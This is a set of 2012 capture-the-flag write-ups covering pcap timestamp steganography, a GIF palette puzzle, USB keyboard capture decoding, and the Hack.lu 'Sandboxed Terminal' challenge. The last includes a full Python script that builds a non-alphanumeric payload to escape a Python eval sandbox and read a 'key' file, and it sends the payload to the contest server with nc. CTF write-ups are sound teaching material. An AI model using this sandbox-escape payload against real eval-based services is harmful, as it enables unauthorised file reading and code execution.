• # CSAW CTF 2012: timewave-zero.pcap (net400)

Written by Nicolas Hureau and Pierre-Marie de Rodat
2012-10-01 00:00:00

< mserrano> inb4 you have to rotate and flip the pcap and get a gzip out of it

For this exercise, we are provided a pcap file containing PMU reporting values using the Synchrophasor protocol, also known as IEEE C37.118. The first thing is to google that, and see what we get. The most interesting result is Wireshark wiki. Indeed we can find example files on this page. If you download the fourth example ("`C37.118_4in1PMU_TCP.pcap`") and binary diff it with timewave-zero.pcap you see the only changing data are the timestamps of the Synchrophasor packets. We can therefore assume that we have to work on those values.

There are 1353 timestamps, but if we look closer, we can see that all the timestamps are between 2012-12-21 00:00:00 GMT and 2012-12-22 23:59:59 GMT except for the last one which is 1970-01-01 00:00:00 GMT a.k.a 0. Ignoring it gives us 1352 timestamps, and 1352 just happens to be a multiple of 8 (1352 = 8 * 13 * 13). That looks good for hiding 1 bit of data in each timestamp.

So now, 1-bit per timestamp. You start the guessing game with the the classical LSB. No dice... LSB after reordering the packet according to their timestamps? No dice... 0bit and 1bit encoded accordingly to the packet being late or early in a virtual packet reordering (hey, who knows...). Guess what? No dice.

Hell we even tried animating the synchrophaser before and after packet reordering to see if something would "draw" during the animation. No dice... Time to stop the guessing game and use a weapon of mass statistical destruction: the histogram! Let's see if we find some statistical data bias.

We can notice two things:

• More values on the left, which represents smaller timestamps
• A gap in the middle of the histogram

With these observation we can infer how the information are hidden in the timestamps: assuming the output should be readable ascii characters, we can assume the probability of 0-bit to be higher than of 1-bit. Looking again at the histogram, thresholding midpoint of the timestamp range would just give us exactly that. Furthermore, the gap in the middle is quite convenient insofar as it is probably preventing from ambiguities at the threshold value (should we threshold using > or >= ? )

With all this we can write a script which takes all the timestamps and get the key:

 ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29``` ```#!/usr/bin/env python # -*- coding: UTF-8 -*- import sys import struct with open(sys.argv[1]) as f: timestamps = [int(line) for line in f] min_ts = min(timestamps) max_ts = max(timestamps) print "len = %d, min = 0x%x, max = 0x%x" % (len(timestamps), min_ts, max_ts) out = open(sys.argv[2], "w") val = 0 bitcnt = 0 for ts in timestamps: if (ts - min_ts) >= (max_ts - ts): val = (val << 1) | 1 else: val <<= 1 bitcnt += 1 if bitcnt == 8: out.write(struct.pack("B", val)) bitcnt = 0 val = 0 out.close() ```

Let's run it:

 `1` ```key{411a8451f24b40647d518ccc456a9e6502f59a8992118d8bf08a65eb16feddba33561d0b383af978402631fba670b366f118505ee3c9ac3e37c9ad33b0d5db469585dd2cf5192fba9e1a99c5d336c3459089} ```

BUT as if steganography is not already annoyingly game-guessing enough, just submitting the key and call it a day would have been too easy, wouldn't it? ;) We were unable to validate the key, which was refused by the web interface.

Clever ending: What if an undergradudate intern used VARCHAR(128) to store the key in the database validating the challenge? So we only pasted the 128 first chars.

Real ending: There was something else which was different from the Wireshark wiki reference file. One byte in the `snaplen` field of the global pcap header was changed from 0xFF to 0x7F. So we thought we had to take only the `0x7F` first characters (nonsense, right?). As you are well aware, `0x7F` equals 127. It sometimes helps to mistakenly copy 128 chars instead of 127 when copy/pasting!

That's all folks! Is timewave-zero.pcap the new BMP? Maybe not, but close enough we'd say. What do you think?

• # PlaidCTF 2012 "stego" writeup

Written by Pierre-Marie de Rodat
2012-05-02 03:47:00

 ```1 2 3 4 5``` ```We are a little unsure what the robots fascination with Star Trek is but it would seem from the amount of accesses this image has been getting that it holds something interesting for them. Can you figure out what it is? http://i.imgur.com/MjYUJ.gif ```

stego is an animated image (GIF) made from a Star Trek sequence. The first task was to learn more about the GIF format. I used the spec itself. The main things to know are:

• Images are represented as an array of palette-based pixels;
• There is one global color palette and image frames can embed their own local palette;
• A GIF file contains a “stream” of sections: image frames, metadata sections, etc.

The first try was to decode completely the given file in order to check the sections against unusual metadata blocks (to maybe find embedded information) or hidden frames, but everything was just usual.

Then, I took a closer look to the palettes: no image frame had a local palette, so I just looked at the global palette, and I found something surprising: many palette entries had the same color! The consequence was that in some image frames, one could see an uniform area instead of different colors, hidding shapes in the same way the Ishihara test would for color deficient people.

To reveal these shapes, I replaced the whole palette using random colors in order to remove color “aliasing”. With an image editor, I could then see that the first frame displayed “You’re on the right track but you have to go deeper”. Meh.

As a next try, I still looked at palette-related issues (the given hint was “Palette” after all!): are some palette colors over-used, or under-used? Nothing raised from this search, and after some time, someone from the team asked me “have you tried to `xor` all image frames together?”. Damn, I had not, but could it be so simple… and so palette-unrelated?

Using a simple Python script, I tried to `xor` palette indexes for each image frames and it gave me the previous text, plus `Key: st3g0_is_s0_ann0y1ng`.

• # Hack.lu CTF 2012: The Sandboxed Terminal (400 points)

Written by Pierre-Marie de Rodat
2012-10-25 13:00:00

 ``` 1 2 3 4 5 6 7 8 9 10 11``` ```Since the zombie apocalypse started people did not stop to ask themselves how the whole thing began. An abandoned military base may lead to answers but after infiltrating the facility you find yourself in front of a solid steel door with a computer attached. Luckily this terminal seems to connect to a Python service on a remote server to reduce load on the small computer. While your team managed to steal the source, they need your Python expertise to hack this service and get the masterkey which should be stored in a file called key. https://ctf.fluxfingers.net:2076/c7238e81667a085963829e452223b47b/sandbox.py credits: 400 +3 (1st), +2 (2nd), +1 (3rd) ```

The sandbox source file contains the port number to connect to the terminal. A sessions prompts two numbers and an “operator”. These inputs are checked against regular expressions: `^[\d]{0,4}\$` for the numbers and `^[\W]+\$` for the operator (and it must not exceed 1899 bytes). If each matches, then if the operator contains a single quote (`'`) the operator is replaced by `eval(operator)`. Then, `eval(number1 + operator + number2)` is computer and printed.

Before all of this, some code wraps builtins in order to prevent imports and uses of `open` and `file`.

Our way to display the content of the `key` file was first to find a mean to evaluate alphanumerical code from the `operator`, and then to bypass the sandbox. The second part was the most easy: `open.orig` gives access to the original `open` builtin, thus executing `open.orig('key').read()` was enough to reach the key.

Finding a way to craft alphanumerical caracters from the operator was far more difficult. The first thing to notice was that `()!=()` (which evaluates to `False`) can be used as the number 0, and `()==()` (which evaluates to `True`) can be used as the number 1. From this, one can craft all possible numbers. Then, it is possible to take a minimal character set using Python’s backtick notation to get the string representation of an expression: ``()==()`` yields `'True'`. With non-printable ASCII chars, hexadecimal characters were available after one `eval`:

 ```1 2``` ```>>> eval('`"\xfe"`[(()==())<<(()==())<<(()==())]') 'e' ```

When the global `eval` is used, the given expression is evaluated from code inside the sandbox method, in which `self` is the wapper of `eval` itself! Thus, evaluating `eval('self("0x41")')` will return the content of the `a` variable.

Using all these principles, it is possible to execute our code using 3 eval stages:

• first, the remote sandboxed terminal receives our bytes: numbers are empty, and the `operator` contains our payload. The payload contains at least one single quote and the `operator` is evaluated once. With the previous tricks, one can craft `self("...hexadecimally escaped bytes...")`
• then, the second `eval` evaluates `self(...)` which is equivalent to `eval("...escaped bytes..")`, and since we master completely the escaped bytes, and that these bytes can cover the full byte range, we can do everything!

Thus, we crafted the payload using the following script:

 ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51``` ```def get_num(n): '''Return a non-alphanum expression that evaluates to the given number.''' if n == 0: return '[]==()' elif n == 1: return '[]!=()' else: return '+'.join('([]!=())' for i in range(n)) # Craft "self("" result = ''.join(( '`{()==()}`[()==[]]+', # 's' '`"\xfe"`[%s]+' % get_num(4), # 'e' '`()==[]`[%s]+' % get_num(2), # 'l' '`"\xff"`[%s]+' % get_num(4), # 'f' '"(\\""+' # '("' )) # Turn the wanted expression into a string of hexadecimally escaped bytes. result += '`\'' for c in 'open.orig("key").read()': o = ord(c) hi = 0xf0 | (o >> 4) lo = 0xf0 | (o & 0x0f) result += '\x01.\x01' result += chr(hi) + '..' result += chr(lo) + '.....' result += '\'`[%s:-(%s):%s]+' % (get_num(1), get_num(1), get_num(6)) # Craft "\")" result += '"\\\")"' # Simulate the sandboxed environment. class Wrapper: pass self=eval open_orig = open open = Wrapper() open.orig = open_orig # Print results to stderr for debugging import sys print >> sys.stderr, '%s bytes: %s' % (len(result), repr(result)) print >> sys.stderr, '--> %s' % repr(eval(result)) print >> sys.stderr, '--> %s' % repr(eval(eval(result))) print '' print '' print result ```

Finally, we send the payload to the service:

 `1` ```python2 craft_payload.py | nc ctf.fluxfingers.net 2060 ```

Key: `dafuq_how_did_you_solve_this_nonalpha_thingy`.

• # CSAW CTF 2012: dongle.pcap (net300)

Written by Pierre-Marie de Rodat
2012-10-01 00:00:00

We received a pcap file containing USB Request Blocks (URBs) with no other information. A quick look at the exchanged frames with Wireshark revealed that most of the data was sent to the host from a specific device (26.3, HID device from “bInterfaceClass”, keyboard from “bInterfaceProtocol” from the official documentation) on an interrupt endpoint.

The first idea was of course: is the key typed on the keyboard? Every interrupt packet from the 26.3 device was carrying a keycode, and all these packets had the same URB id: `0xffff88003b7d8fc0`. Exploring packets structure made it easy to localize these keycodes: the offset `0x42` of these interrupt packets. We just had to script keycodes extracting using a correspondance table, then!

We created a Python script using the `dpkt` library to parse the pcap file and extract the keycodes:

 ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44``` ```import binascii import dpkt import struct import sys # Start the pcap file parsing f = open(sys.argv[1], 'rb') pcap = dpkt.pcap.Reader(f) # Create a partial mapping from keycodes to ASCII chars keys = {} keys.update({ i + 0x4: chr(i + ord('a')) for i in range(26) }) keys.update({ i + 0x1e: chr(i + ord('1')) for i in range(9) }) keys[0x27] = '0' keys.update({ 0x28: '\n', 0x2c: ' ', 0x2d: '-', 0x2e: '+', 0x2f: '[', 0x30: ']', }) # Then iterate over each USB frame for ts, buf in pcap: # We are interested only in packets that has the expected URB id, and # packets carrying keycodes embed exactly 8 bytes. urb_id = ''.join(reversed(buf[:8])) if binascii.hexlify(urb_id) != 'ffff88003b7d8fc0': continue data_length, = struct.unpack('

The output of this script was the following “keyboard stream”:

 ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38``` ```rxterm -geometry 12x1+0+0 echo k rxterm -geometry 12x1+75+0 echo e rxterm -geometry 12x1+150+0 echo y rxterm -geometry 12x1+225+0 echo [ rxterm -geometry 12x1+300+0 echo c rxterm -geometry 12x1+375+0 echo 4 rxterm -geometry 12x1+450+0 echo 8 rxterm -geometry 12x1+525+0 echo b rxterm -geometry 12x1+600+0 echo a rxterm -geometry 12x1+675+0 echo 9 rxterm -geometry 12x1+0+40 echo 9 rxterm -geometry 12x1+75+40 echo 3 rxterm -geometry 12x1+150+40 echo d rxterm -geometry 12x1+225+40 echo 3 rxterm -geometry 12x1+300+40 echo 5 rxterm -geometry 12x1+450+40 echo c rxterm -geometry 12x1+375+40 echo 3 rxterm -geometry 12x1+525+40 echo a rxterm -geometry 12x1+600+40 echo ] ```

Alright, the indented result should be to display the key re-ordering first the characters with terminal positions. We then had just to format a script to actually open multiple terms in the same time at the right place and containing the associated character:

 ```1 2 3``` ```python2 extract_keyboard.py dongle.pcap | sed 's/rxterm \(.*\)/xterm \1 -e "\\/g' | sed 's/echo \(.*\)/echo -n \1; read" \&/g' > display_key.sh ```

And finally, running the `display_key.sh` script gave us the key: `key[c48ba993d353ca]`